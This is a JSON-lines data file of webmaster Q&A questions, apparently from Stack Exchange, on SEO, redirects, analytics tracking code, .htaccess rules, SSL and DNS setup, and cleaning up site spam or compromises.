{"id":"57181","title":"Preventing Google from indexing \".com\" instead of \".com\/fr\" or \".com\/en\"","text":"I followed the recommendation of Google concerning multilingual website, I have: * `www.example.com\/fr` in french * `www.example.com\/en` in english * `www.example.com` automatically redirects (header) either to `www.example.com\/fr` or `www.example.com\/en`. In my _sitemap.xml_ , I have not mentionned `www.example.com` but instead the two subdirectories, still following Google on sitemap policy: <url> <loc>http:\/\/www.example.com\/fr\/<\/loc> <xhtml:link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/www.example.com\/en\/\"\/> <xhtml:link rel=\"alternate\" hreflang=\"fr\" href=\"http:\/\/www.example.com\/fr\/\"\/> <changefreq>daily<\/changefreq> <priority>1.00<\/priority> <\/url> <url> <loc>http:\/\/www.example.com\/en\/<\/loc> <xhtml:link rel=\"alternate\" hreflang=\"fr\" href=\"http:\/\/www.example.com\/fr\/\"\/> <xhtml:link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/www.example.com\/en\/\"\/> <changefreq>daily<\/changefreq> <priority>1.00<\/priority> <\/url> Problem is that in Google, the main results is `www.example.com`. For many websites, Google displays for the first results `.com\/fr` or `.com\/en` depending our location but not juste `.com`. I was thinking of using Webmaster Tools and try remove `www.example.com` but I'm not sure since `www.example.com` is not really a sitelink and I'm afraid it will juste remove my site from Google. Do I miss something? Or maybe I should just wait?"}
{"id":"53334","title":"How does tinypic.com referrer\/redirect work?","text":"For example, if I embed this random image in a forum, it will show up normally: [IMG]http:\/\/i48.tinypic.com\/350m3ut.jpg[\/IMG] If I try to view the image in a new tab, it will redirect me to the main page: http:\/\/tinypic.com\/view.php?pic=350m3ut&s=6 If I copy the image location there, it is: http:\/\/oi48.tinypic.com\/350m3ut.jpg The difference is in the sub-domain, the \"direct\" embed link is \" **i48** \", the actual direct link is \" **oi48** \" - this is true for all tinypic uploads (though, the server numbers might be different: i38 vs. oi37 for example). If I embed the \" **oi48** \" image, trying to view it in a new tab will work without redirecting to the main page. So how do they do that? And if I try to access the direct \" **oi48** \" link by typing\/pasting it in the address bar, without first loading it in a forum post (for example), thus not having it in my cache, it will still redirect to the main tinypic.com page just like the \" **i48** \" link. How? Why? I also think funnyjunk.com used to add hotlink protection to the mix: a hotlink image (\"Please go to funnyjunk to view this image\") would show, and when you opened the image in a new tab, it'd redirect you to the image's page (for example, funnyjunk.com\/funny_pictures\/589823\/Place\/), but I'm not so sure if that's really what it did (they allow hotlinking now). Though, I guess if that _would_ be possible, everyone would be using that method... Would it be possible to implement a hotlink protection and a redirect to the image's main page? If so, how?"}
{"id":"53333","title":"Cross domain tracking with new analytics.js syntax?","text":"I am using Google Analytics and I am trying to set cross domain tracking for my website. I've read Google's cross domain tracking guide, but I am confused as to how to implement it properly. The issue I am having is that the example code they give looks nothing like the tracking code I was given through my Google Analytics admin console. My tracking code looks like this: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'MyTrackingID', 'MyDomain'); ga('send', 'pageview'); <\/script> (My actual tracking ID and my domain have been censored out with `MyTrackingID` and `MyDomain`, respectively.) However, the example tracking code given in the guide looks like this: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXXXX-1']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> How do I add the `_gaq.push(['_setDomainName', 'A.com']);` \"option\" to my tracking code as instructed?"}
{"id":"28011","title":"template for terms of condition for social media based website?","text":"I'm looking for a template for a terms of usage text based on social media websites. I'm actually a coder and not into the legal blabla in general. Of course you could spend a thousand or 2 on a lawyer but just a 3\/4 paper text shouldn't be to hard to compile yourself with some help. I'm not sure if this is the right spot to ask this question but I love stack overflow and none of the sites in stack exchange I could find matched better then this one. * My first idea lets look at some social media websites and grab some of there text, rewrite it for own specific usage * Are there templates on writing such document Same goes with a privacy policy actually."}
{"id":"13233","title":"Registering a web-domain with different TLD","text":"I am planning to buy a web-domain for myself. I am looking for a particular word combination and in the process I notice many combinations are already taken up in `.com` TLD. If someone owns **example.com** (example is their company name), can I buy **example.net** if its available or is it illegal to use one?"}
{"id":"9194","title":"Mass deletion of spam revisions in Mediawiki","text":"Basically my 'private' mediawiki instance was about as secure as a toddlers piggybank. I've tightened it up now, but am left with about a hundred or so new pages and revisions generated by hundreds of randomly generated users. 2 part question; Is there a way to delete all orphaned pages? Can I say to roll back all revisions NOT made by a particular user (me)?"}
{"id":"14731","title":"SSL Certificate and IP Binding","text":"I try to setup SSL on my server for **only** one web site (I have few there using **IIS7** ). I bought an SSL certificate, installed it but when I come to bind I don't have to option to specify the host name. From reading some posts here I understood I need a distinct IP address. I didn't purchase a wildcard certificate, I got `staging.mydomain.com`. My question is: 1. My server has a distinct IP, can I use it although I have other sites there but they don't need ssl? 2. If I do need to buy dedicated IP. What does it involve?"}
{"id":"58341","title":"Required steps for Domain Name Setup","text":"What are the required steps (i.e. purchase of a domain, etc.) to get a DNS domain (i.e. foobar.com) to point to any static and public IP (i.e. 100.101.102.103)? If I hosted a DNS server myself (at the IP 100.101.102.103), would anyone else actually be able to connect to my server, given that no other DNS server would know about me."}
{"id":"38711","title":"How to get rid of crawling errors due to the URL Encoded Slashes (%2F) problem in Apache","text":"The Google web crawler has indexed a whole set of URLs with encoded slashes (%2F) for our site. I assume it has picked up the pages from our XML sitemap file. The problem is that the live pages will actually result in a failure because of the Url Encoded Slashes Problem in Apache. Some solutions are mentioned here We are implementing a 301 redirect scheme for all the error pages. This should make the Google bot delete the pages from the crawling errors (no more crashing pages). Does implementing the 301s require the pages to be \"live\"? In that case we may be forced to implement solution 1 in the article. The problem is that solution 1 will pose a security vulnerability.."}
{"id":"33346","title":"Recovering a lost website with no backup?","text":"Unfortunately, our hosting provider experienced 100% data loss, so I've lost all content for two hosted blog websites: * http:\/\/blog.stackoverflow.com * http:\/\/www.codinghorror.com (Yes, yes, I absolutely _should_ have done complete offsite backups. Unfortunately, all my backups were on the server itself. So save the lecture; you're 100% absolutely right, but that doesn't help me at the moment. Let's stay focused on the question here!) I am beginning the slow, painful process of recovering the website from web crawler caches. There are a few automated tools for recovering a website from internet web spider (Yahoo, Bing, Google, etc.) caches, like Warrick, but I had some bad results using this: * My IP address was quickly banned from Google for using it * I get lots of 500 and 503 errors and \"waiting 5 minutes…\" * Ultimately, I can recover the text content faster by hand I've had much better luck by using a list of all blog posts, clicking through to the Google cache and saving each individual file as HTML. While there are a lot of blog posts, there aren't _that_ many, and I figure I deserve some self- flagellation for not having a better backup strategy. Anyway, the important thing is that I've had good luck getting the blog post text this way, and I am definitely able to get the text of the web pages out of the Internet caches. Based on what I've done so far, **I am confident I can recover _all_ the lost blog post text and comments**. However, the _images_ that go with each blog post are proving…more difficult. Any general tips for recovering website pages from Internet caches, and in particular, places to **recover archived images from website pages**? (And, again, please, no backup lectures. You're totally, completely, utterly right! But being right isn't solving my immediate problem… Unless you have a time machine…)"}
{"id":"30508","title":"Prevent interactions between Apache virtual hosts on the same server","text":"I have a VPS running Apache 2.0, with multiple domains and multiple IPs set. In document root `\/var\/www\/html\/` I have `http:\/\/serverA.com` and I created a virtual host on folder `\/var\/www\/html\/serverB` serving `http:\/\/serverB.com`. They work great for both, but the problem is I can access serverB files with URL 'http:\/\/serverA.com\/serverB\/' (which I don't want to happen.) How can I prevent that?"}
{"id":"17179","title":"When redirecting to a beta sub domain should I use 301 or 302?","text":"I have a website with a domain of www.mysite.com for example and I wish to redirect some of it's content to a new version that is under development under a sub domain i.e everything under www.mysite.com\/specific-section now goes to beta.mysite.com\/specific-section. In the long term the code in the beta site will replace the code main www site at which point the beta site will be closed and the redirects from the www site will be removed. Using a 302 redirect seems like the right idea in this situation but as I am no SEO expert I wanted to get some feedback. Can I avoid the beta site from being indexed by various search engines? I am aware they all handle 301s and 302s in slightly different ways. When the beta domain is removed should it disappear from search engine results? An alternative that has been suggested is to make it a 301 redirect and when the beta site in no longer require to perform a 301 redirect back to the www site. Is this an option is will this cause SEO pain? Edit: I have amended the question a little as I don't think I explained myself too clearly. The beta site it temporary and will eventually be removed. the www site is and always will be the main site."}
{"id":"30545","title":"How to deploy a Wikipedia-like Mediawiki (with all extensions configured in the same way)","text":"Is there a fast way to make my own Mediawiki looks the same as Wikipedia.org? I mean, adds all extensions wikipedia.org is using. and configure it with the same way wikipedia has. Is there a list?"}
{"id":"20037","title":"How do I track a hosted URL on Namecheap.com with Google Analytics","text":"I'm hosting a URL with NameCheap, and it is a URL frame for a blogspot.com account. I'm using Google Analytics to track the blogspot.com account, but I'd like to be able to track the NameCheap frame URL as well. How do I do this?"}
{"id":"44170","title":"How to I remove auto generated frameset in IIS?","text":"I have a website where a redirect has been setup to use a frameset. For example. My main site is x-site.com There is a redirect setup somewhere so that xsite.com redirects to x-site.com, but it does so by creating a frameset and placing x-site.com within there. This causes problems for users to login, and we don't need it to function in this fashion. I tried writing some simple .Net code to redirect the user to x-site.com, but it doesn't seem to work. This leads me to believe that there is something in IIS doing the redirect before the code can execute. How do I remove the \"frameset redirect\"?"}
{"id":"44173","title":"How to get keyword ranked and traffic from a specific region?","text":"I am working on a site that has good traffic and ranking form many countries. Our website is basically about Japanese used cars exporters and now we want to become more famous in Africa regions such as: * Congo * Zambia * Uganda But our keyword ranking and traffic is very low in these countries than those in other countries. What can we do to improve our rankings that will improve our traffic from these regions in Africa?"}
{"id":"44174","title":"Google does not auto complete my website's name","text":"When I type in my website's name into Google it gives all other competing websites names but never autocompletes mine. Did the other sites buy the autocomplete option from Google? My website is pienkvoete.co.za Google autocompletes it for pienkvoet- pret.co.za (another site that dealts with other stuff than my site); for pienkvoet.co.za (thats a blank website that has nothing in it) and other searches related to pienkvoet but NEVER for pienkvoete.co.za What can I do, because I am definitely losing traffic? Am I paranoid? Because it feels like someone is deliberately doing this. My website gives out information about pregnancy and childbirth and there are some magazines in my country that I believe are very threatened by my website giving free information in a local language."}
{"id":"10371","title":"SEO tool is telling me title, description and keywords don't exist, but they do. Where is the problem?","text":"I'm using the following tool to analyse how 'optimal' a site that I'm working on is for search engines: http:\/\/tools.seobook.com\/general\/spider-test\/ I enter the URL for the site - http:\/\/ftmsuat.moneymate.com - into the search bar, and it returns a breakdown of the contents of the page. I'm a little confused by what I see though. According to the results, the page doesn't have a title, description or keywords. But if you check the source of the page, those elements are definitely there. So I'm wondering now, which is wrong? seobook.com or my page?"}
{"id":"47479","title":"header.php wordpress install injection on godaddy.com","text":"Every few months I notice a warning in Google results that my site maybe compromised. Sure enough when I check the header.php file is full of all sorts of nasty stuff about viagra etc. I clear it out, change the password etc and a month or so passes and it's back again. I contacted the host, godaddy, who basically told me i need get a website scanner available of course from their products section... scam. Any ideas?"}
{"id":"47477","title":"SSL \/ https login from a non-secure (http) page","text":"I am setting up a login page, and I have some security questions \/ concerns. I have a login form (username, password) on a NON-secure page, let's say: http:\/\/www.example.com\/login.php When the user fills in the form and clicks the \"Submit\" button, the form POST's a \"clear-text\" query-string to a secure page: `https:\/\/somethingelse.example.com\/post.php` or `https:\/\/entirelydifferent.otherdomain.com\/post.php` The login form is a standard html form like: <form method=\"post\" action=\"https:\/\/somethingelse.example.com\/post.php> ... <\/form> So, the \"query-string\" is clear-text (not obfuscated or encrypted in any way), but I'm sure (I hope) the process of doing a \"post\" to an \"https:\" url will encrypt the query-string. The code in \"post.php\" validates the username and password in the form data, and redirects to a NON-secure page based on success or fail: `http:\/\/www.example.com\/success.php` or `http:\/\/www.example.com\/fail.php` (or perhaps back to `http:\/\/www.example.com\/login.php`) Is this a proper (secure) setup for \"https:\" login process, or does this cause security or other issues ? Should one or more of the \"http:\" pages (`login.php`, `success.php`, `fail.php`) be changed to \"https:\" (secure) pages ? Is it an issue (security or otherwise) if the sub-domain or domain changes between the various steps in the example ? Is it required by the process for certain of these pages to be on the same domain and the same sub-domain ? Also, it should be noted that I am not handling any critical data like credit card numbers on any pages."}
{"id":"47472","title":"How to create a site with these features without programming?","text":"My girlfriend & I are creating a site as a side business. I'm a programmer but for this site I don't want to do any programming because a) I want to make the site quickly, b) it's a fun side project and I just want a point-and-click interface with no frustration, c) I want her to be able to update any part. I also don't want to hire programmers for budget and time reasons. Editing HTML\/CSS\/JavaScript\/templates is fine though and expected. The site will have these features: * User registration. Two distinct types of users with different landing pages, functionality, etc. (not just different subscription levels). * User profiles with many custom fields. The profiles would be different for each user type. * Create\/Edit\/Browse\/RSVP for Events - an Event would have many custom fields, so many that using an existing calendar system might not be possible. * Create\/Edit\/Browse Activities - an Activity would be a custom object with many fields (title, description, address, etc.) * Be able to Rate and Review each Event, Activity, or user. * Easily retrieve and display Events\/Activities\/Reviews that a user has attended or created in the system. * One-time purchases and recurring monthly subscriptions. This should be automated and apply the appropriate \"credits\" to their account each month after their card is charged. This would require supporting an offsite credit card info storage system since we don't want to store that info ourselves. * Fully and easily translatable. Many of the users will not understand English well so we need to be able to provide translations for each string on the backend (no need for enduser-supplied translations). We should also be able to present entirely different content depending on their preferred language - e.g. users preferring Japanese will see content about Japan. What ways are there of creating such a site without programming? Using CMS software is one way, but are there others? And if using a CMS, which would be flexible enough to support creating a site like this without custom programming? I'm quite sure existing modules or addons wouldn't completely fill my needs, so being able to create and manipulate custom objects is crucial. Thanks in advance for any advice. FYI: Related questions I found. These deal with simpler types of sites though: * creating a tag-based website and not using programming? * Is there a way to create a website without learning to web-program? * Which CMS can I use to build a website without programming knowledge?"}
{"id":"6882","title":"What are CNAME and A DNS Records?","text":"What are CNAME and A DNS records? What are they used for? What is the difference between the two? **Edit:** Where does the CNAME record exist? On the server or with the domain registrar?"}
{"id":"59698","title":"How to redirect if directory does not exist or should not be seen?","text":"I am using Apache and want to modify my _.conf_ file for a website such that: * If the request comes from my IP `1.2.3.4`, just display the URL\/page as requested * If the request is not from my IP and the directory does not exist, redirect to root * If the request is not from my IP and the directory is one I don't want to display to anyone (`example.com\/secret\/`, `example.com\/secret2\/hidden.html`, etc.), redirect to root What is the best way to do this?"}
{"id":"61125","title":"Indexing classified content scheduled to expire","text":"Our website site has a \"classifieds\" section, where user can post a message. I would love those pages to be indexed. However those classifieds are scheduled to expire after 30 days. What is the recommended way to handle this? Avoiding dead links, penalties, etc... I also generate XML sitemaps, not sure how to deal with those."}
{"id":"61133","title":"How to tell Google my content will expire after a certain period?","text":"Right now I'm facing issues with 404 (Not Found) errors, because my content will deleted automatically after two months. I cannot change this behavior, because it is a real estate web site and once it is rented or sold it needs to be deleted and also so many factors behind this. So I want to tell search engines about the availability of my contents and don't return a 404 error."}
{"id":"59695","title":"How to get a list of all page names (with namespaces) of a MediaWiki installation?","text":"I want to export _all_ pages (in _all_ namespaces, and with _all_ revisions!) of a public MediaWiki installation. I’m just a visitor, so I have no admin access. The export is possible with the `Special:Export` page. It takes a list of page names and exports all given pages in a single XML file. Great! However, **how could I get a list of all pages?** There is `Special:AllPages`. Problems: * The results are paginated. * It doesn’t include the namespace in the page name (anchor text). Is there a better way? (I know that there may be various special extensions that allow visitors to export pages or download a backup, however, assume that the MediaWiki installation in question doesn’t use any extensions, it’s just a default installation.)"}
{"id":"61023","title":"Will moving some ecommerce products from one domain to another with redirects cause SEO penalties?","text":"I'm the developer for a small online webstore. We've just moved a subsection of products (the bodyboarding products), off surfhq.co.uk on to bodyboardhq.co.uk to sell them there instead. We didn't want to sell on both stores as search engines don't like duplicate pages - and domain2.co.uk has much better seo for bodyboarding - the site has been run as an active blog for sometime - we've only just added the cart. My question is, should I be using a 301 redirect on the old product pages (sending users to the new pages on domain2.co.uk), or should I just serve up a 404 not found? Google search currently lists a lot of broken links (I've gone down the 404 route for fear that permanent redirects will result in one of our sites being penalised). EDIT My question is not answered here where the 301 is to the home page and the products have been deleted. My products have been moved to another domain (the 301 would be to the product on the new domain). Also I'm concerned with the SEO effect on both domains."}
{"id":"61060","title":"Moving commerce products from one domain to another","text":"I'm the developer for a small online webstore - surfhq.co.uk. We've just moved a subsection of products (the bodyboarding products), off surfhq.co.uk on to bodyboardhq.co.uk to sell them there instead. We didn't want to sell on both stores as search engines don't like duplicate pages - and bodyboardhq.co.uk has much better seo for bodyboarding - the site has been run as an active blog for sometime - we've only just added the cart. My question is, should I be using a 301 redirect on the old product pages (sending users to the new pages on bodyboardhq.co.uk), or should I just serve up a 404 not found? Google search currently lists a lot of broken links (I've gone down the 404 route for fear that permanent redirects will result in one of our sites being penalised). My question is not answered here where the 301 is to the home page and the products have been deleted. My products have been moved to another domain (the 301 would be to the product on the new domain). Also I'm concerned with the SEO effect on both domains."}
{"id":"23108","title":"What are the pros and cons of using Dublin Core meta tags?","text":"This is an open question on why, how, or when to use or not use Dublin Core meta tags. For example, `<meta name=\"DC.title\" content=\"Title of my Webpage\" \/>`. Should this be used in addition to or instead of the `<title>` meta tag? Does a certain approach help or hinder SEO? Does adding a lot of \"description\" to a page outweigh the added code bloat to the page?"}
{"id":"548","title":"Are there any standards for marking the age suitability for website content?","text":"As a responsible webmaster I want to mark some of my content as unsuitable for certain age groups, there's nothing illegal or pornographic but it does feature bad language and violence that might be unsuitable for children, mostly in images so a text parser won't pick it up. Is there a standard that internet filtering software will recognise? Obviously, I appreciate that nothing is going to stop children viewing the content if they are just using a vanilla browser on an open connection but if there is a content rating standard then I'd like to use it to help those able to honour it."}
{"id":"1203","title":"AdSense not displaying on my blog","text":"Recently I started to work again with AdSense program, but when I placed code in my WordPress blog it didn't display even after 30min. So maybe I'm doing something wrong? I did setup the account. Created ad for content. Got the code. Placed it in my themes sidebar. Maybe I have to add my webpage address somewhere or it takes more time to start displaying adds? Thank you all for help."}
{"id":"59340","title":"For an internal page, which title and h1 I must use for SEO?","text":"I have a basic question about SEO and HTML design. Most homepage of websites use the code below: <html> <head> <title>Website name<\/title> <\/head> <body> <h1>Website name<\/h1> ...some Slidebar That shows items list and artciles list... <\/body> <\/html> But for an internal page (like for an article), the code must be the following? <html> <head> <title>Website name or Article page?<\/title> <\/head> <body> <h1>Article page?<\/h1> <p>text of article<\/p> <\/body> <\/html> Which `<title>` and `<h1>` I must use? _Article title_ or _Website Name_?"}
{"id":"15571","title":"Google Ads Blocking Other Site Elements From Loading","text":"I'm using Google DFP to serve Adsense ads. In Google Chrome (this doesn't seem to happen in other browsers), the page will get stuck loading pagead2.googlesyndication.com. It will just load for hours if I let it. In the meantime, only about half or slightly more of the dynamic images on my page will have completed loading. It appears this is blocking other elements on my site from loading. Any suggestions on what I can do to fix this?"}
{"id":"8279","title":"Problematic using Captcha on billing page","text":"I have simple captcha on user page. I want make it refresh if user input incorrect captcha, I just wanna ask Should I do it or I just add a simple button to refresh it."}
{"id":"30814","title":"HTTPS To http redirect issue. How to overcome?","text":"Have already seen suggests on how to rewrite https to http. currently using this technique : RewriteCond %{SERVER_PORT} ^443$ RewriteRule ^(.*)$ http:\/\/www.mysite.com\/$1 [L,R=301] RewriteRule ^(.*)$ http :\/\/%{HTTP_HOST}%{REQUEST_URI} [R=301,L] Problem : I am currently on Hostgator VPS and have found Google indexing my HTTPS pages. Weird for me as never bought an SSL. My site is a blog only. When spoke to Google forums, ( https:\/\/productforums.google.com\/forum\/#!msg\/webmasters\/2Hz46t44nwk\/7voZWudFtAQJ ), they say I should redirect https to http. Now when I have redirected this using the above method, I am still getting SSL warning in browsers. And found that Google is still indexing my new pages with https. I feel as I do not have an SSL, adding a redirect in https doesn't work. So if Google indexes my https page, then I should go and buy SSL, and tell there to redirect https to http. Why would I do that? Please help me, reduced the traffic by nearly 30% because of this. **Have even told search engines to go to this file (disallows everything) if they are on https**. Options +FollowSymlinks RewriteCond %{SERVER_PORT} ^443$ RewriteRule ^robots.txt$ robots_ssl.txt"}
{"id":"15560","title":"I need a little help with .htaccess rewrite","text":"I need a little help with `.htaccess` file I have songs, singers and albums links I want to rewrite. I all ready rewrote the links and they are like this: the links for the songs is like this: `\/song\/song_name` for singers: `\/singer_name` for albums: `\/album_name` From my `.htaccess` file: RewriteEngine on RewriteRule ^singer\/([^\/\\.]+)\/?$ \/core\/controller.php?singer=$1 [L] RewriteRule ^song\/([^\/\\.]+)\/?$ \/core\/controller.php?song=$1 [L] RewriteRule ^album\/([^\/\\.]+)\/?$ \/core\/controller.php?album=$1 [L] I need the links for the songs, singers and albums to be like this: for songs `\/singer_name\/song_name` for singers `\/singer_name` for albums `\/singer_name\/album_name` can anyone help me with this please."}
{"id":"1742","title":"SSL certificate provider","text":"I need a SSL certificate for a new site I'm building and I have to choose a SSL provider. What to look for when choosing and what's your experience dealing with them? Thanks!"}
{"id":"10428","title":"Advice on buying SSL certificate","text":"> **Possible Duplicate:** > SSL certificate provider What are the main things to consider when choosing between SSL certificates from different providers? I find they vary in price incredibly."}
{"id":"59439","title":"SEO links and ajax","text":"Only my main page shows up on a Google search on site:domain.com and I start to wonder why this happens. I also use Google Webmaster Tools which confirms this. On my main page, I have these types of links <a href=\"1234\/some-nice-seo-text\" onclick=\"loadPageWithAjax(1234); return false;\"> The 1234 is the id of the page to load and the '\/some-nice-seo-text'-appended is just a good description of the content of the page, which I hope the Google-bot will catch. The intended user will click the link and the same content will dynamically be loaded and shown. It seems like the Google-bot never follows these links - am I doing something wrong?"}
{"id":"26887","title":"Some questions about social plugins (facebook, twitter, google+)","text":"I have some questions regarding social plugins (facebook, twitter, google+). By asking the following questions I would like you to take into considaration the following parameters: I want my website to be fast, Search Engine Optimzation.. 1. Which of the social plugins above really affects SEO - Why and How? 2. Is it enough to put an anchor link to the page in the social network (facebook.com\/page, twitter.com\/page ...) or do I really need the +1 and Like button? - I know that lazy people like to click as little as possible, but do they really click without to see the page itself before? 3. What do you think is the ratio between clicking on the Like button to clicking on the like button inside the company page on facebook? Thanks in advanced, Din."}
{"id":"39449","title":"What does \"do following\" blog mean?","text":"I read a SEO book, it talks about do following blog. Does it mean I can put anything on the blog which includes my link and talk about anything?"}
{"id":"26880","title":"Adding Video To Website - Embed or Vimeo?","text":"I have been asked to add 3 short informational videos to a new page on the company website. I am trying to figure out if it would be better to embed them directly onto the page (html5) or use Vimeo or YouTube. Which would be better from a Google ranking point of view after the recent Panda updates? Naturally we would want to the whole site to benefit not just that 1 video page."}
{"id":"29679","title":"Seo and domain change","text":"I had my website on mydomain.com for a few years and was number 1 on Google for my market. Due to a bad registrar and my own lazynes i lost my .com a year ago and it has taken me nearly a year to get it back. In that time i have put my site on a local domain mydomain.ie and changed a lot of the back links to the .ie domain so it is showing up in the results but not as well as my .com did. My question is which one do i use now and which one do i 301? Would i be better to switch back to the old domain and would it still carry the same value with Google?"}
{"id":"54665","title":"How to set up a SPF record?","text":"The clients on my VPS are all getting spammed. The spam seemingly comes from their own email addresses - it is clear that somehow something got into my VPS and was able to capture all the email addresses that existed and is now using them to send spam. I was advised to set up a SPF record, but I am unsure what this is or how to go about it. After reading, I have figured out how to create one in CPanel, but I cannot find what to do with it now. Do I copy it into somewhere in my DNS records in Zone Management? Can anyone point me in the right direction?"}
{"id":"57424","title":"How can we redirect visitors outside our country to an international site without harming SEO?","text":"We are looking for a way to redirect the visitors not in our country to our international website. Firstly, we have to detect their location with a Geo-location service, and then redirect them if they are not a native visitor. But we do not want to harm our existing SEO while we are doing this. Do we have to use 302 server-side redirection or a client-side redirection with JavaScript?"}
{"id":"31639","title":"How can I make a webmail URL available from any hosted domain?","text":"I run Roundcube webmail on my VPS. At the moment, it is only accessible from one virtual server hosted on the server, unless a separate Roundcube installation is created for other virtual servers. I would like to be able to make webmail available from any domain\/ virtual server that I host, just by adding \/webmail to the end. I'm sure Apache must allow me to do this - only problem is, I don't know how!"}
{"id":"10776","title":"Searching for a page with a Very Unique title, doesnt find that intended page... Why?","text":"a question about appearing in search results in google: A page of mine has this extremely unique page title: _**Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände_** Now, when I search the phrase: `Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände` Then all kinds of other irrelevant pages show up having only 1 or at best two words from my unqie title appearing, although I have searched for the entire phrase! And when I search the phrase in between quotes: `\"Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände\"` Then it finds 1 result, which is my page. What is going on? Why doesn't show the unique result without the quotes? Thanks: your ideas and suggestions are welcome and much appreciated"}
{"id":"31630","title":"Site Search Settings and Query Parameter","text":"I'm setting up Google Analytics Site Search in my profile, and wondering if I need to add all the query parameters of the search (up to 5 of them) or just the parameter that contains the user's search; I can't really imagine what Google would do with the other search parameters, but they're Google so who knows what use they might have for them."}
{"id":"67853","title":"Sort by Goal Conversions in Search Engine Optimization view in Google Analytics?","text":"Goals are my favorite functionality in Google Analytics. They let you know which traffic sources, ads, or keywords are driving signups and buying stuff and downloading your Ebook. You can select for goals (after you set goals up) at most views in Google Analytics, but I can't figure out how to hook goals up to Search Engine Optimization > Queries. Is that possible? Is there another way to correlate search keyword with conversions in Google Analytics?"}
{"id":"39199","title":"Semantic web and structured data - Will search engines increase the limit of the first number of indexed bytes on a page?","text":"A web page's payload will increase with the added code that is necessary to create structured data. This means that you won't be be able to fit as much actual content in the first 120k or so of the page. Has there been any discussion about this in the past, and if so, what are the chances that this limit will be increased to allow for more data?"}
{"id":"35397","title":"Does having over 80% dynamic and rapidly changing content affect SEO?","text":"I have a website that pulls promotions of products from other website. My index page has a structure similar to this: 1. My Brand - Best Promotions 2. # Looking for great deals? Check out our top promotions 3. A menu - listing the promotions categories 4. 20 of the latest promotions (the best ones): I list an image; Promotion description (200 chars); Link to the promotion page. **Question:** More then 80% of my index page (maybe even 90%) is composed of the 20 promotions I list; these promotions change on a daily bases -> which dramatically changes the content of my index page. **Does the dynamic changing of the index page affect SEO?** Should I try to add more static text where I can? (which won't change) Ty"}
{"id":"7584","title":"How to report abuse to website hosting company (GoDaddy)","text":"I'm not sure if this is the right place to ask such a question... Let's say that a website posted a picture of me, without my consent, and I want to be removed (it's something private, could compromise my career if it's seen by someone that shouldn't). I sent them an email asking nicely that they should remove it, but they didn't respond and the picture is still there. Using 'Whois' I found that the website is hosted by GoDaddy. Is there a way (an email address, for ex.) to report to GoDaddy that one of the sites they're hosting does something illegal and to force them to remove the photo? I searched the site and found nothing about such a thing. Thnaks in advance!"}
{"id":"39192","title":"SEO: Twitter outranks personal site?","text":"For some reasons, even though I websites has pretty great onsite SEO I thinks, my Twitter profile \"outrank\" personal site consistently in Google\/Bing SERPs on different computer around country and different search engine accounts..… I can not overcome this. Advice?"}
{"id":"44829","title":"How do thousands of backlinks to my subdomains affect SEO?","text":"I have 90k backlinks from 3 websites. On a subdomain, I have catalogs and my clients have a link on their site in the header to these catalogs. This means that they have in all their pages a link to the catalogs from my subdomain. Should I reserve a new domain to host these catalogs? Or I do not have to worry because they are on a subdomain? If I have more than 90000 backlinks to a subdomain, will this affect the main website? Can Google penalize my website because of the backlinks to a subdomain?"}
{"id":"9803","title":"Google Analytics: Find external sites which referred most visitors to a Goal","text":"I have a goal setup in Google Analytics, I would like to track the number of visits that come from external sources. e.g. I would like to see how many visits come from google.co.uk vs google.ie"}
{"id":"50019","title":"Dynamically change page content based on URL parameter?","text":"The title of my question seems simple but here is an example of what I want to do: http:\/\/www.mayoclinic.com\/health\/infant-jaundice\/DS00107 What happens on that page is whenever you click on a link to go a section (e.g. \"Symptoms\") in the article on \"Infant Jaundice\", it provides a URL parameter like this: http:\/\/www.mayoclinic.com\/health\/infant-jaundice\/DS00107\/DSECTION=symptoms As the `DESCTION` parameter changes, you get different content on the same page `DS00107`. The content changes as well as `<meta keywords>`. Can someone please tell me how this is achieved? I was thinking it was an if\/else situation programmed into the page itself to display different properties depending on the URL parameter. Any help or suggestions are very much appreciated and my thanks to you for reading my question."}
{"id":"5556","title":"Trying to collect input values using hidden input fields","text":"I have the following fields: First Name: <input type=\"text\" id=\"tFName\" name=\"tFName\" maxlength=\"50\" \/> Last Name: <input type=\"text\" id=\"tLName\" name=\"tLName\" maxlength=\"50\" \/> Is the following the proper way to receive the values of the above fields in hidden inputs? <input type=\"hidden\" name=\"tFName\" value=\"tFName\"\/> <input type=\"hidden\" name=\"tLName\" value=\"tLName\"\/>"}
{"id":"29705","title":"How do you feed reviews to Google places page for businesses?","text":"> **Possible Duplicate:** > How to provide Google reviews information? Check out this google places page as an example: http:\/\/maps.google.com\/maps\/place?hl=en&sugexp=erf1&pq=virginia+honda+&cp=17&gs_id=50&xhr=t&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&ix=sea&biw=1600&bih=1109&um=1&ie=UTF-8&q=los+angeles+honda+dealers&fb=1&gl=ca&hq=honda+dealers&hnear=0x80c2c75ddc27da13:0xe22fdf6f254608f4,Los+Angeles,+CA,+USA&cid=17542835494479136794&ei=rnuxT_xqw4SDB4ynhakJ&sa=X&oi=local_result&ct=placepage- link&resnum=3&sqi=2&ved=0CL0BEOIJMAI At the bottom you will see Reviews from around the web: citysearch.com (49) - insiderpages.com (18) - dealerrater.com (37) I'm working on a website that is a similar to these directories, people can come and review dealers. We've marked the reviews with rich snippets, the problem is sometimes they do show up on some google places pages and sometimes they do not. It seems completely random, google links to wrong pages, and also the count is not accurate. I was wondering if there is an official guide on how to do this properly or if this is less about technical aspects of doing this and more about business relationships with directories and google. Any help is appreciated."}
